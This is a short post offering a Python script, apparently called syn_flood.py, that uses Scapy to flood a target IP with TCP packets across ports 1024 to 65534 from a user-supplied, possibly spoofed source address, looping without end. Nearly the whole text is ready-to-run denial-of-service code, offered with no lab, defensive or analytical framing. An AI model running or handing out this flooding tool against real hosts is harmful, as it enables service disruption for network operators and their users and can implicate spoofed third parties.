A simple dynamic SYN flooding script with Scapy for registered ports.

syn_flood.py

#!/usr/bin/python

from scapy.all import *

def flood(src,target,message):
    # spamming ports
    for dest_port in range(1024, 65535):
        IPlayer = IP(src=src, dst=target)
        TCPlayer = TCP(sport=4444, dport=dest_port) # from 4444 to the range
        RAWlayer = Raw(load=message)
        pkt = IPlayer/TCPlayer/RAWlayer # concatenate
        send(pkt) # sending packet

if __name__ == "__main__":
    source = raw_input("[+] Enter source IP for flooding: ")
    target = raw_input("[+] Enter target IP for flooding: ")
    message = raw_input("[+] Enter TCP payload: ")
    while True:
        flood(source,target,message)